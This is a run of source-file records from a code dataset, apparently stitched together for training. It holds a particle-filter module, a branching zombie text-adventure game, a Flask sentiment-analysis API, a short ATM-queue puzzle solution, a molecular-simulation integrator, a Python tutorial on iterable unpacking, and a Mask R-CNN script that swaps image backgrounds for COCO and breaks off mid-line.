new_cv_list[insert_cv_index - 1]\r\n if not (split_cv in self.particles.keys()):\r\n print(\"insert cv error\", self.id)\r\n print(pr_distance_list, pr_vehicle_list)\r\n print(new_cv_list, new_dis_list, split_cv)\r\n split_particle = self.particles[split_cv]\r\n lead_particle = []\r\n lag_particle = []\r\n for ip in range(len(split_particle)):\r\n [dis_list, lane_list] = split_particle[ip]\r\n s_index = len(dis_list)\r\n for iv in range(len(dis_list)):\r\n if dis_list[iv] > cv_dis:\r\n s_index = iv\r\n p_dis = dis_list[:s_index]\r\n p_lane = lane_list[:s_index]\r\n lag_dis = dis_list[s_index:]\r\n lag_lane = lane_list[s_index:]\r\n lead_particle.append([p_dis, p_lane])\r\n lag_particle.append([lag_dis, lag_lane])\r\n\r\n new_particle = {}\r\n for v_id in new_cv_list:\r\n if v_id == split_cv:\r\n new_particle[v_id] = lead_particle\r\n continue\r\n if v_id == cv_id:\r\n new_particle[v_id] = lag_particle\r\n continue\r\n # not inserted yet\r\n if not (v_id in self.particles.keys()):\r\n continue\r\n new_particle[v_id] = self.particles[v_id]\r\n\r\n self.particles = new_particle\r\n\r\n def remove_cv(self, cv_id):\r\n if not (cv_id in self.particles.keys()):\r\n exit(\"CV id \" + cv_id + \" not in the particle keys! (\" + str(self.id) + \")\")\r\n\r\n merge_cv_index = None\r\n cv_list = list(self.particles.keys())\r\n for idx in range(len(cv_list)):\r\n if cv_id == cv_list[idx]:\r\n merge_cv_index = idx\r\n break\r\n new_particle = self.merge(self.particles[cv_list[merge_cv_index - 1]],\r\n self.particles[cv_list[merge_cv_index]])\r\n\r\n self.particles[cv_list[merge_cv_index - 1]] = new_particle\r\n del self.particles[cv_id]\r\n del self.previous_vehicles[0][merge_cv_index - 1]\r\n del self.previous_vehicles[1][merge_cv_index - 1]\r\n\r\n def save_particle(self, time_step):\r\n particles = self.particles\r\n location_list = []\r\n for fvd in particles.keys():\r\n for particle in particles[fvd]:\r\n location_list += particle[0]\r\n self.particle_history[time_step] = location_list\r\n\r\n @staticmethod\r\n def merge(particle1, particle2):\r\n new_particle = []\r\n for ip in range(len(particle1)):\r\n new_particle.append([particle1[ip][0] + particle2[ip][0], particle1[ip][1] + particle2[ip][1]])\r\n return new_particle\r\n\r\n","sub_path":"estimation/particle.py","file_name":"particle.py","file_ext":"py","file_size_in_byte":56633,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"623150605","text":"# Imports\r\nimport random\r\nimport time\r\nimport sys\r\n\r\n# Functions\r\ndef main():\r\n main_menu()\r\n start_intro()\r\n\r\ndef main_menu():\r\n print('------ MAIN MENU ------')\r\n print('NEW GAME [new]')\r\n print('CONTINUE GAME (Unavailable)')\r\n print('QUIT [quit]')\r\n\r\n menu_commands()\r\n\r\ndef menu_commands():\r\n exit_menu = False\r\n counter = 4\r\n \r\n user_input = input('What is your option: ')\r\n while not exit_menu:\r\n if user_input.lower() == 'quit':\r\n exit_program()\r\n elif user_input.lower() == 'new':\r\n exit_menu = True\r\n print('Game will start in: ')\r\n while counter != 1:\r\n counter -= 1\r\n print(counter)\r\n time.sleep(1)\r\n else:\r\n user_input = input('Please enter a valid command: ')\r\n\r\ndef exit_program():\r\n print('Destroying Data...')\r\n time.sleep(3)\r\n sys.exit()\r\n\r\ndef clear_screen():\r\n for item in range(50):\r\n print()\r\n\r\ndef line_by_line(chapter):\r\n for line in chapter:\r\n print(line)\r\n #time.sleep(0.5)\r\n\r\n#def show_inventory():\r\n# print('------ INVENTORY ------')\r\n# for item in inventory:\r\n# #item_key = item\r\n# item_value = inventory.get(item)\r\n# print('|{}| {}.'.format(item_value, item_key))\r\n# print('-----------------------')\r\n\r\ndef show_inventory():\r\n print('------ INVENTORY ------')\r\n for item_key in inventory.keys():\r\n item_value = inventory[item_key]\r\n print('|{}| {}.'.format(item_value, item_key))\r\n print('-----------------------')\r\n \r\ndef drop_inventory_item(item_to_drop): # this needs refactoring\r\n for item in inventory:\r\n if item == item_to_drop:\r\n item_value = inventory.get(item)\r\n \r\n if item_value > 1:\r\n item_value = item_value - 1\r\n inventory[item_to_drop] = item_value\r\n elif item_value == 1:\r\n inventory.pop(item_to_drop)\r\n\r\ndef command_controller():\r\n command_list = [\r\n 'exit',\r\n 'search',\r\n 'accept',\r\n 'decline',\r\n 'yes',\r\n 'no',\r\n 'fight',\r\n 'run',\r\n 'inventory'\r\n ]\r\n \r\n command = input('> ').lower()\r\n if command in command_list:\r\n if command == 'exit':\r\n sys.exit()\r\n elif command == 'inventory':\r\n show_inventory()\r\n else:\r\n print('Invalid Command')\r\n\r\ndef grab_record_choice():\r\n global a\r\n global b\r\n \r\n choice = input('What path do you choose? ')\r\n if choice == 'a':\r\n a += 1\r\n return choice\r\n elif choice == 'b':\r\n b += 1\r\n return choice\r\n else:\r\n grab_record_choice()\r\n\r\ndef grab_record_choice_ending():\r\n global a\r\n global b\r\n \r\n choice = input('What path do you choose? ')\r\n if choice == 'a':\r\n a += 1\r\n elif choice == 'b':\r\n b += 1\r\n ending2()\r\n exit_program()\r\n else:\r\n grab_record_choice_ending()\r\n\r\ndef read_from_file(story_file):\r\n story_list = []\r\n \r\n with open(story_file) as file:\r\n for line in file:\r\n line = line.strip()\r\n story_list.append(line)\r\n \r\n return story_list\r\n\r\n# CHOICE NODES\r\ndef choice_node1():\r\n print('a: Ask your dad to keep going as you cant afford to miss the train')\r\n print('b: Ask your dad to tend to the stricken animal')\r\n choice = grab_record_choice()\r\n\r\n if choice == 'a':\r\n start_chapter1()\r\n elif choice == 'b':\r\n start_alt_chapter1()\r\n \r\ndef choice_node2():\r\n print(\"a: no, you're right dad. Im probably just tired thats all.\")\r\n print(\"b: tell Francis go and investigate\")\r\n choice = grab_record_choice()\r\n\r\n if choice == 'a':\r\n start_chapter2()\r\n elif choice == 'b':\r\n start_alt_chapter2()\r\n \r\ndef choice_node3():\r\n print(\"a: help to hold the door and tell someone about the zombies behind\")\r\n print(\"b: spin Francis around to deal with the zombies behind, send someone to help Kurt\")\r\n choice = grab_record_choice()\r\n \r\n if choice == 'a':\r\n start_chapter3()\r\n exit_program()\r\n elif choice == 'b':\r\n start_alt_chapter3()\r\n \r\ndef choice_node4():\r\n print(\"a: make a break for the train\")\r\n print(\"b: well for your dad and risk death\")\r\n choice = grab_record_choice()\r\n\r\n if choice == 'a':\r\n start_chapter4()\r\n elif choice == 'b':\r\n start_alt_chapter4()\r\n \r\ndef choice_node5():\r\n print(\"a: let the phone ring out\")\r\n print(\"b: take the phone, answer and risk blowing the groups cover\")\r\n choice = grab_record_choice()\r\n\r\n if choice == 'a':\r\n start_chapter5()\r\n elif choice == 'b':\r\n start_alt_chapter5()\r\n \r\ndef choice_node6():\r\n print(\"a: decide to make a break through\")\r\n print(\"b: stay put\")\r\n choice = grab_record_choice()\r\n\r\n if choice == 'a':\r\n start_chapter6()\r\n elif choice == 'b':\r\n start_alt_chapter6()\r\n \r\ndef choice_node7():\r\n print(\"a: help someone\")\r\n print(\"b: duck under the seat\")\r\n choice = grab_record_choice()\r\n\r\n if choice == 'a':\r\n start_chapter7()\r\n elif choice == 'b':\r\n start_alt_chapter7()\r\n \r\ndef choice_node8():\r\n print(\"a: suggest going back to the...\")\r\n print(\"b: ask blah blah blah\")\r\n choice = grab_record_choice()\r\n\r\n if choice == 'a':\r\n start_chapter8()\r\n elif choice == 'b':\r\n start_alt_chapter8()\r\n \r\ndef choice_node9():\r\n print(\"a: attack the zombies\")\r\n print(\"b: turn back and try to crawl to the opposite row\")\r\n choice = grab_record_choice()\r\n\r\n if choice == 'a':\r\n start_chapter9()\r\n elif choice == 'b':\r\n start_alt_chapter9()\r\n \r\ndef choice_node10():\r\n print(\"a: jump off the train\")\r\n print(\"b: take your chances\")\r\n choice = grab_record_choice()\r\n\r\n if choice == 'a':\r\n start_chapter10()\r\n elif choice == 'b':\r\n start_alt_chapter10()\r\n \r\ndef choice_node11():\r\n print(\"a: suggest the group risk entering the supermarket\")\r\n print(\"b: suggest the group continue the journey\")\r\n choice = grab_record_choice()\r\n\r\n if choice == 'a':\r\n start_chapter11()\r\n elif choice == 'b':\r\n start_alt_chapter11()\r\n \r\ndef choice_node12():\r\n print(\"a: enter the room\")\r\n print(\"b: Escape from the building\")\r\n grab_record_choice_ending()\r\n\r\n ending_calc()\r\n \r\ndef ending_calc():\r\n if a >= b:\r\n ending1()\r\n elif b > a:\r\n ending2()\r\n \r\n# STORY\r\ndef start_intro():\r\n clear_screen()\r\n show_inventory()\r\n\r\n intro_list = read_from_file('intro.txt')\r\n line_by_line(intro_list)\r\n choice_node1()\r\n \r\ndef start_chapter1():\r\n chapter1 = read_from_file('chapter1.txt')\r\n line_by_line(chapter1)\r\n choice_node2()\r\n\r\ndef start_alt_chapter1():\r\n chapter1 = read_from_file('alt_chapter1.txt')\r\n \r\n line_by_line(chapter1)\r\n exit_program()\r\n\r\ndef start_chapter2():\r\n chapter2 = read_from_file('chapter2.txt')\r\n \r\n line_by_line(chapter2)\r\n choice_node3()\r\n\r\ndef start_alt_chapter2():\r\n chapter2 = read_from_file('alt_chapter2.txt')\r\n \r\n line_by_line(chapter2)\r\n choice_node3()\r\n\r\ndef start_chapter3():\r\n chapter3 = read_from_file('chapter3.txt')\r\n \r\n line_by_line(chapter3)\r\n choice_node4()\r\n\r\ndef start_alt_chapter3():\r\n chapter3 = read_from_file('alt_chapter3.txt')\r\n \r\n line_by_line(chapter3)\r\n choice_node4()\r\n\r\ndef start_chapter4():\r\n chapter4 = read_from_file('chapter4.txt')\r\n \r\n line_by_line(chapter4)\r\n choice_node5()\r\n\r\ndef start_alt_chapter4():\r\n chapter4 = read_from_file('alt_chapter4.txt')\r\n \r\n line_by_line(chapter4)\r\n choice_node5()\r\n\r\ndef start_chapter5():\r\n chapter5 = read_from_file('chapter5.txt')\r\n \r\n line_by_line(chapter5)\r\n choice_node6()\r\n\r\ndef start_alt_chapter5():\r\n chapter5 = read_from_file('alt_chapter5.txt')\r\n \r\n line_by_line(chapter5)\r\n choice_node6()\r\n\r\ndef start_chapter6():\r\n chapter6 = read_from_file('chapter6.txt')\r\n \r\n line_by_line(chapter6)\r\n choice_node7()\r\n\r\ndef start_alt_chapter6():\r\n chapter6 = read_from_file('alt_chapter6.txt')\r\n \r\n line_by_line(chapter6)\r\n choice_node7()\r\n\r\ndef start_chapter7():\r\n chapter7 = read_from_file('chapter7.txt')\r\n \r\n line_by_line(chapter7)\r\n choice_node8()\r\n\r\ndef start_alt_chapter7():\r\n chapter7 = read_from_file('alt_chapter7.txt')\r\n \r\n line_by_line(chapter7)\r\n choice_node8()\r\n\r\ndef start_chapter8():\r\n chapter8 = read_from_file('chapter8.txt')\r\n \r\n line_by_line(chapter8)\r\n choice_node9()\r\n\r\ndef start_alt_chapter8():\r\n chapter8 = read_from_file('alt_chapter8.txt')\r\n\r\n line_by_line(chapter8)\r\n choice_node9()\r\n \r\ndef start_chapter9():\r\n chapter9 = read_from_file('chapter9.txt')\r\n \r\n line_by_line(chapter9)\r\n choice_node10()\r\n\r\ndef start_alt_chapter9():\r\n chapter9 = read_from_file('alt_chapter9.txt')\r\n \r\n line_by_line(chapter9)\r\n choice_node10()\r\n\r\ndef start_chapter10():\r\n chapter10 = read_from_file('chapter10.txt')\r\n \r\n line_by_line(chapter10)\r\n choice_node11()\r\n\r\ndef start_alt_chapter10():\r\n chapter10 = read_from_file('alt_chapter10.txt')\r\n \r\n line_by_line(chapter10)\r\n choice_node11()\r\n\r\ndef start_chapter11():\r\n chapter11 = read_from_file('chapter11.txt')\r\n \r\n line_by_line(chapter11)\r\n choice_node12()\r\n\r\ndef start_alt_chapter11():\r\n chapter11 = read_from_file('alt_chapter11.txt')\r\n \r\n line_by_line(chapter11)\r\n choice_node12()\r\n\r\ndef ending1():\r\n ending1 = read_from_file('ending1.txt')\r\n\r\n line_by_line(ending1)\r\n\r\ndef ending2():\r\n ending2 = read_from_file('ending2.txt')\r\n\r\n line_by_line(ending2)\r\n","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":9837,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"608032765","text":"from flask import Flask, request, jsonify\nfrom flask_cors import *\nimport keras_bert_service\nimport fasttext_service\nimport lstm_service\nimport gcae_service\n\napp = Flask(__name__)\ncors = CORS(app, resources={r\"/api/*\": {\"origins\": \"*\"}})\n\n\n@app.route('/api/sentiment', methods=['POST'])\ndef sentiment_controller():\n default = [('交通是否便利', '中性'), ('距离商圈远近', '中性'), ('是否容易寻找', '中性'), ('排队等候时间', '中性'), ('服务人员态度', '中性'),\n ('是否容易停车', '中性'),\n ('点菜/上菜速度', '中性'), ('价格水平', '中性'), ('性价比', '中性'), ('折扣力度', '中性'), ('装修情况', '中性'), ('嘈杂情况', '中性'),\n ('就餐空间', '中性'), ('卫生状况', '中性'), ('菜品分量', '中性'), ('口感', '中性'), ('外观', '中性'), ('推荐程度', '中性'),\n ('本次消费感受', '中性'),\n ('再次消费意愿', '中性')]\n print(request.json)\n model = request.json['model']\n content = request.json['content']\n print(model, content)\n\n if model == 'FastText':\n res = fasttext_service.human_predict(content)\n return jsonify(res), 200\n elif model == 'BERT':\n res = keras_bert_service.human_predict(content)\n return jsonify(res), 200\n elif model == 'LSTM':\n res = lstm_service.human_predict(content)\n return jsonify(res), 200\n elif model == 'GCAE':\n res = gcae_service.human_predict(content)\n return jsonify(res), 200\n else:\n return jsonify(default), 200\n\n\nif __name__ == '__main__':\n app.run(port=5000, debug=True, host='0.0.0.0')\n","sub_path":"restful_api.py","file_name":"restful_api.py","file_ext":"py","file_size_in_byte":1703,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"82638915","text":"import sys\n\nN = int(input())\ncase = map(int, sys.stdin.readline().split())\n# time DESC\ncase.sort()\n\nanswer = 0\n\nfor i in range(N):\n for j in range(0, i+1):\n answer += case[j]\nprint(answer)\n\n# sum = case[0]\n\n# for i in range(len(case)-1):\n# c = case[i] + case[i]+1\n# sum += c\n# case[i] = case[i+1]\n# case[i+1] = c\n# print(sum)","sub_path":"백준/11399_ATM.py","file_name":"11399_ATM.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"301214431","text":"import numpy as np\nfrom ..integrator import integrator\n\n\nclass MSMRD(integrator):\n def __init__(self, MSM, box, p1, p2, p3, timestep, Re):\n self.MSM = MSM\n self.box = box\n self.dim = p1.position.size\n self.pa = p1\n self.pb = p2\n self.pc = p3\n self.timestep = timestep\n self.Re = Re #entry radius\n self.sampleSize = 8 #sample consists of (time, p1, p2, p3, MSMstate)\n self.MSMactive = False\n\n def above_threshold(self, threshold):\n #assume that threshold is larger than the MSM radius\n if self.MSMactive:\n return np.linalg.norm(self.MSM.centers[self.MSM.state]) > threshold\n else:\n return True\n\n def propagateDiffusion(self, particle):\n sigma = np.sqrt(2. * self.timestep * particle.D)\n dr = np.random.normal(0., sigma, self.dim)\n particle.position += dr\n\n def enterMSM(self):\n self.pc.position = self.pa.position\n R = self.box.periodicDistanceVector(self.pa.position, self.pb.position)\n self.MSM.state = (np.linalg.norm(self.MSM.centers[self.MSM.entryStates] - R, axis=1)).argmin()\n self.MSM.exit = False\n self.MSMactive = True\n\n def exitMSM(self):\n R = self.MSM.centers[self.MSM.state,:]\n self.pa.position = self.pc.position\n self.pb.position = self.pc.position + R\n self.box.reduce(self.pb)\n self.MSMactive = False\n\n def integrate(self):\n if self.MSMactive:\n self.MSM.propagate()\n self.propagateDiffusion(self.pc)\n self.box.reduce(self.pc)\n if self.MSM.exit:\n self.exitMSM()\n elif not self.MSMactive:\n self.propagateDiffusion(self.pa)\n self.box.reduce(self.pa)\n self.propagateDiffusion(self.pb)\n self.box.reduce(self.pb)\n if self.box.particleDistance(self.pa, self.pb) < self.Re:\n self.enterMSM()\n\n def sample(self, step):\n if self.MSMactive:\n return [self.timestep*step, 0., 0., 0., 0., self.pc.position[0], self.pc.position[1], self.MSM.state]\n else:\n return [self.timestep*step, self.pa.position[0], self.pa.position[1], self.pb.position[0], self.pb.position[1], 0., 0., -1]\n\n def compute_stationary_distribution(self, traj):\n #cluster data in transition area\n #extract BD part of trajectory\n BDidcs = np.where(traj[:,7] == -1)[0]\n BDtraj = traj[BDidcs, ...]\n r1 = BDtraj[:, 1:3]\n r2 = BDtraj[:, 3:5]\n #compute periodically reduces distance and find points in transition region\n distances = np.zeros(BDidcs[0].size)\n distances = self.box.periodicDistance(r1, r2)\n transitionRegion = np.where(distances < self.MSM.MSMradius)[0]\n #allocate transition trajectories to states\n dr = self.box.periodicDistanceVector(r1, r2)\n clusters = np.array([])\n if transitionRegion != []:\n clusters = self.MSM.allocateStates(dr[transitionRegion, ...])\n #count observations\n counts = np.zeros(self.MSM.states)\n for i in range(0, self.MSM.states):\n counts[i] += (np.where(traj[:,7] == i)[0].size)*self.MSM.lagtime\n counts[i] += np.where(clusters == i)[0].size\n counts /= float(counts.sum())\n return counts\n","sub_path":"MSMRD/integrators/MSMRD.py","file_name":"MSMRD.py","file_ext":"py","file_size_in_byte":3365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"379125351","text":"# Unpacking iterables\n\n# packed values refers to values that are bundled together in some way. for exemple, tuples,\n# lists, strings, sets and dictionaries. in fact, any iterable can be considered a packed value.\n\n\n# unpacking is the act of splitting iterables/packed values into individual variables:\na, b, c = (1, 2, 3) # 3 elements inside the tuple requires 3 variables to unpack it.\n\n# it was unpacked into individual variables based on the relative position of each element:\na # 1\nb # 2\nc # 3\n\n\n# whenever we are calling a function and passing arguments to the function, the function is \n# actually unpacking that tuple into the parameters that was defined in the function:\ndef f(a, b, c):\n # it will essentially unpack it inside the function namespace: a, b, c = (1, 2, 3)\n return a, b, c\n\nf(1, 2, 3) \n\n\n# unpacking other iterables:\na, b, c = 10, 20, 'hey'\na # 10\nb # 20\nc # hey\n\n# we can also unpack strings:\na, b, c = 'xyz'\na # x\nb # y\nc # z\n\n\n# instead of writing:\na = 10\nb = 20\n\n# we could write it this way as well:\na, b = 10, 20\n\n\n# in fact, unpacking works with any data type that is iterable:\nfor e in 10, 20, 'hello': # (10, 20, 'hello') unpacking a tuple object\n print(e)\n# 10\n# 20\n# hello\n\nfor e in 'xyz': # unpacking a string object\n print(e)\n# x\n# y\n# z\n\n\n# simple application of unpacking is to swap values of two variables:\na = 10 # 0x0001\nb = 20 # 0x0002\n\n# the \"traditional\" approach, would be do something with a temporary variable like:\ntmp = a # temp 0x0003\n\na = b # a -> 0x0002\nb = tmp # b -> 0x0001\n\n\n# using unpacking approach:\na, b = b, a\n\n# this works because in Python, the entire RHS is evaluated first. after that, assignments are \n# made to the LHS, essentially:\na, b = (20, 10)\na # 20 # 0x0002\nb # 10 # 0x0001\n\n\n\n# unpacking dictionaries:\nfor e in {'key1': 1, 'key2': 2, 'key3': 3}:\n # it will actually iterates through the keys, like: for e in {'key1', 'key2', 'key3'}\n print(e)\n# key1\n# key2\n# key3\n\n# that means if we are unpack that dictionary, we will actually unpacking only the keys:\na, b, c = {'key1': 1, 'key2': 2, 'key3': 3}\na # key1\nb # key2\nc # key2\n\n\n# unpacking sets (there is no ordering in sets):\nfor e in {'p', 'y', 't', 'h', 'o', 'n'}:\n print(e)\n# o\n# t\n# h\n# y\n# n\n# p\n\na, b, c = {'a', 'b', 'c'}\na # c\nb # a\nc # b\n\n#____________________________________________________________________________________________________\n# Extended unpacking:\n\n# we dont always want to unpack every single item in an iterable. we may, for exemple, want to \n# unpack the first value and then unpack the remaining values into another variable.\n\nl = [1, 2, 3, 4, 5, 6]\n\n# we can achieve this by using slicing:\na = l[0] # 1\nb = l[1:] # [2, 3, 4, 5, 6]\n\n# but in order to use slice, the object must be an sequence type, it must be indexable.\n\n# we could also make a parallel assignment with unpacking and slicing:\na, b = l[0], l[1:]\na # 1\nb # [2, 3, 4, 5, 6]\n\n\n# but we could also use the * operator to do the same thing:\na, *b = l\na # 1\nb # [2, 3, 4, 5, 6]\n\n# apart from cleaner syntax, it also works with any iterable object, not just sequence types.\n\n#________________________________________________________________________________________________\n# * operator usage with ordered types:\na, *b = (-10, 5, 2, 100) # unpacking a tuple object.\na # -10\nb # [5, 2, 100] # it will always be unpacked into a list object.\n\n# unpacking strings with * operator:\na, *b = 'xyz'\na # x\nb # ['y', 'z']\n\n# also works with any number of elements:\na, b, *c = 1, 2, 3, 4, 5\na # 1\nb # 2\nc # [3, 4, 5]\n\n\n# we can also add variables after the * operator:\na, b, *c, d = [1, 2, 3, 4, 5]\na # 1\nb # 2\nc # [3, 4]\nd # 5\n\n# strings as well:\na, *b, c, d = 'python'\na # p\nb # ['y', 't', 'h']\nc # o\nd # n\n\n\n# the * operator can only be used once in the LHS while unpacking. we cant write something like:\n# a, *b, *c = [1, 2, 3, 4, 5]\n\n\n# we have seen how to use the * operator in the LHS while unpacking:\na, *b, c = {1, 2, 3, 4, 5}\n\n# however, we can also use it in the RHS:\nl1 = [1, 2, 3]\nl2 = [4, 5, 6]\n\nl = [*l1, *l2] # we are essentially unpacking each individual element of l1 and l2 inside it.\nl # [1, 2, 3, 4, 5, 6]\n\nl1 = [1, 2]\nl2 = 'xyz'\n\nl = [*l1, *l2] \nl # [1, 2, 'x', 'y', 'z']\n\n#________________________________________________________________________________________________\n# * operator usage with unordered types:\n# data types such as sets and dictionaries doesnt have ordering guaranteed.\na, *b = {19, -99, 3, 'd'}\na # 19 \nb # ['d', 3, -99]\n\n\n# in practice, we rerely unpack sets directly this way. however, it is useful in a situation where\n# we might want to create a single collection containing all items of multiple sets, or keys of\n# multiple dictionaries:\nd1 = {'p': 1, 'y': 2}\nd2 = {'t': 3, 'h':4}\nd3 = {'h': 5, 'o': 6, 'n':7} # note that 'h' key is in both, `d2` and `d3`.\n\nd = [*d1, *d2, *d3] # ['p', 'y', 't', 'h', 'h', 'o', 'n']\nd = {*d1, *d2, *d3} # {'p', 'o', 'y', 'n', 't', 'h'}\n\n\n# the ** unpacking operator:\n# when working with dictionaries we saw that * essentially iterated the keys only. and by using\n# the ** operator, we can unpack the key-value pairs of dict objects:\nd1 = {'p': 1, 'y': 2}\nd2 = {'t': 3, 'h':4}\nd3 = {'h': 5, 'o': 6, 'n':7}\n\nd = {**d1, **d2, **d3} # {'p': 1, 'y': 2, 't': 3, 'h': 5, 'o': 6, 'n': 7}\n# note that, `d3` was merged after in the chain, the value of 'h' in `d3` overwrote the first \n# value of 'h' that was in `d2`.\n\n\n# we can even use it to add key-value pairs from one or more dictionaries into an dict literal:\nd = {'a': 1, 'b': 2}\n\n{'a': 777, 'c': 3, **d} # {'a': 1, 'b': 2, 'c': 3}\n{**d, 'c': 3, 'a': 777} # {'a': 777, 'b': 2, 'c': 3}\n\n# the ** operator cannot be used in the LHS of an assignment.\n\n\n\n# Python supports nested unpacking as well:\na, b, c = [1, 2, [3, 4]]\na # 1\nb # 2\nc # [3, 4] once we have it, we can keep unpacking:\nd, e = c\nd # 3\ne # 4\n\n# or we could just write that in a single line:\na, b, (c, d) = [1, 2, [3, 4]]\na # 1\nb # 2\nc # 3\nd # 4\n\n# since strings are iterables as well:\na, *b, (c, d, e) = [1, 2, 3, 'xyz']\na # 1\nb # [2, 3]\nc # x\nd # y\ne # z\n\n# the * operator can only be used once in the LHS during unpacking, but what about it:\na, *b, (c, *d) = [1, 2, 3, 'python']\na # 1\nb # [2, 3]\nc # p\nd # ython\n\n# although this looks like we are using * twice in the same expression, the 2nd * is actually in\n# a nested unpacking, another expression essentially.\n","sub_path":"python/01_functional/02function_parameters/02unpacking.py","file_name":"02unpacking.py","file_ext":"py","file_size_in_byte":6388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"37217866","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Nov 26 19:35:31 2018\n\n@author: lhy\n\"\"\"\nfrom PIL import ImageFile\nImageFile.LOAD_TRUNCATED_IMAGES = True\nimport os\nimport cv2\nimport sys\nimport itertools\nimport math\nimport logging\nimport json\nimport re\nimport random\nfrom collections import OrderedDict\nimport numpy as np\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as patches\nimport matplotlib.lines as lines\nfrom matplotlib.patches import Polygon\nfrom utils import *\nsys.path.append('./Mask_RCNN/samples/coco')\nfrom pycocotools.coco import COCO\n\n## Root directory of the project\nROOT_DIR = os.path.abspath(\"./Mask_RCNN\")\n\n#Import Mask RCNN\nsys.path.append(ROOT_DIR) # To find local version of the library\nfrom mrcnn import utils\nfrom mrcnn import visualize\nfrom mrcnn.visualize import display_images\nimport mrcnn.model as modellib\nfrom mrcnn.model import log\n\nMODEL_DIR = os.path.join(ROOT_DIR, \"logs\")\nCOCO_MODEL_PATH = os.path.join(ROOT_DIR, \"mask_rcnn_coco.h5\")\nif not os.path.exists(COCO_MODEL_PATH):\n utils.download_trained_weights(COCO_MODEL_PATH)\n\nsys.path.append('./CF')\nfrom fastMatting import fastMatting\n\nBACKGROUND_DIR = '../爬取文件'\n\n# MS COCO Dataset\nimport coco\nclass InferenceConfig(coco.CocoConfig):\n # Set batch size to 1 since we'll be running inference on\n # one image at a time. Batch size = GPU_COUNT * IMAGES_PER_GPU\n GPU_COUNT = 1\n IMAGES_PER_GPU = 1\n\nconfig = InferenceConfig()\nconfig.display()\n\nCOCO_DIR = \"../coco/images\" # TODO: enter value here\n\nnew_path = '../coco/new_images_origin_mask'\nif not os.path.exists(new_path):\n os.mkdir(new_path)\nnew_image_dir = new_path + '/train2014'\nif not os.path.exists(new_image_dir):\n os.mkdir(new_image_dir)\nnew_ann_dir = new_path + '/annotations'\nif not os.path.exists(new_ann_dir):\n os.mkdir(new_ann_dir)\n\n# load dataset-----------------------------------------------------------------\ndataset = coco.CocoDataset()\ndataset.load_coco(COCO_DIR, \"train\")\n# Must call before using the dataset\ndataset.prepare()\n\n# ann part---------------------------------------------------------------------\nann_path = '../coco/images/annotations/instances_train2014.json'\nnew_ann_path = '../coco/new_images_origin_mask/annotations/instances_train2014.json'\nwith open(ann_path,'r') as load_f:\n load_dict = json.load(load_f)\nload_dict_new = load_dict.copy()\n# annotations = load_dict['annotations'] #add new image to original dataset\nannotations = [] # creat new dataset\n\ncoco_detail = COCO(ann_path)\nimg_details = coco_detail.imgs\n#img_details_new = load_dict['images']\nimg_details_new = []\nann_id_num = len(annotations)\nload_dict_new['images'] = []\nload_dict_new['annotations'] = []\n#------------------------------------------------------------------------------\n\n# Load model-------------------------------------------------------------------\nmodel = modellib.MaskRCNN(mode=\"inference\", model_dir=MODEL_DIR, config=config)\nmodel.load_weights(COCO_MODEL_PATH, by_name=True)\n#------------------------------------------------------------------------------\n\nbackground_file_names = next(os.walk(BACKGROUND_DIR))[1]\n\nii = 0\n\nnew_index_num = 10**11\nimage_ids = dataset.image_ids\nlens_image = len(image_ids)\nfor o in range(lens_image):\n image_id = image_ids[o]\n print('-'*20+str(lens_image - o)+'-'*20)\n # generate new image ------------------------------------------------------\n image = dataset.load_image(image_id)\n print('image_shape:',np.shape(image))\n while 1:\n background_file = random.choice(background_file_names)\n bg_path = os.path.join(BACKGROUND_DIR,background_file)\n background_names = next(os.walk(bg_path))[-1]\n background_name = random.choice(background_names)\n background = cv2.imread(os.path.join(bg_path, background_name),cv2.IMREAD_COLOR)\n print('background shape:',np.shape(background))\n if len(np.shape(background))>0:\n r,c,l = np.shape(background)\n if r>0 and c>0 and l>0:\n break\n col,row = np.shape(image)[:2]\n background = cv2.resize(background,(row,col),interpolation=cv2.INTER_AREA)\n mask, class_ids = dataset.load_mask(image_id)\n\n # Compute Bounding box-----------------------------------------------------\n# bbox = utils.extract_bboxes(mask)\n# if np.shape(bbox)[0]>3:\n# continue\n#\n results = model.detect([image], verbose=1)\n r = results[0]\n mask_pred = r['masks']\n class_ids_pred = r['class_ids']\n bbox_pred = utils.extract_bboxes(mask_pred)\n if len(bbox_pred) == 0:\n continue\n# if is_show == True:\n# visualize.display_instances(image, bbox_pred, mask_pred, class_ids_pred, dataset.class_names)\n #print('pred mask shape:',np.shape(mask_pred))\n\n mask = np.sum(mask.astype(np.uint8),axis = 2)\n mask[mask>1] = 1\n mask = mask.astype(np.uint8)\n if np.sum(mask)/(row*col)<0.1 or np.sum(mask)/(row*col)>0.9:\n continue\n mask_pred = np.sum(mask_pred.astype(np.uint8),axis = 2)\n mask_pred[mask_pred>1] = 1\n mask_pred = mask_pred.astype(np.uint8)\n mask_error = cal_mask_error(mask, mask_pred)\n\n if mask_error > 0.2:\n continue\n\n # append new annotation----------------------------------------------------\n ann= dataset.image_info[image_id][\"annotations\"]\n img_id = dataset.image_info[image_id]['id']\n lens_ann = len(ann)\n new_image_id = int(img_id + new_index_num)\n for i in range(lens_ann):\n ann[i]['image_id'] = new_image_id\n annotations.extend(ann)\n\n img_patch_name = dataset.image_info[image_id]['path'].split('/')[-1]\n temp_names = list(img_patch_name)\n temp_names[15] = '1'\n img_patch_name = ''.join(temp_names)\n\n img_detail = img_details[img_id]\n img_detail['id'] = new_image_id\n img_detail['file_name'] = img_patch_name\n img_details_new.append(img_detail)\n\n ii += 1\n if ii%100 == 1:\n load_dict_new['annotations'].extend(annotations)\n load_dict_new['images'].extend(img_details_new)\n annotations = []\n img_details_new = []\n with open(new_ann_path,\"w\") as f:\n json.dump(load_dict_new,f)\n print(\"保存文件完成...\")\n\n new_image = image.copy()\n new_image[:,:,0] = image[:,:,2]\n new_image[:,:,2] = 